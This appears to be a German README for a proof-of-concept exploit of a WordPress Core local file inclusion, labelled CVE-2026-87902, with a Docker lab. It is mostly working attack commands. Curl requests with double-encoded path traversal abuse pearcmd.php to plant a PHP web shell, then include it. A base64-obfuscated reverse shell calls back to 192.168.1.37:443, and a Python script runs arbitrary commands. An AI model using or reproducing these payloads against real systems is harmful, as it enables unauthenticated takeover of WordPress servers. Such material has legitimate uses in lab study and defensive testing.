
Proof-of-Concept-Exploit für CVE-2026-87902, eine nicht authentifizierte WordPress-Core-LFI, die über pearcmd.php zu RCE führt, mit einem Docker-Lab und curl/Python-Exploit-Skripten.
WordPress Core <= 7.1.1 — nicht authentifizierte LFI (Template-Loader pagename) → RCE über pearcmd.php.
Credits: https://github.com/ressl/cve-2026-87902-poc
cd docker && docker compose up -d
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=stripslashes($_REQUEST[_])?>+"
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn"
# Reverse Shell
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJw==|base64+-d|sh"
python3 exploit-pear.py http://127.0.0.1:18092 2 "id"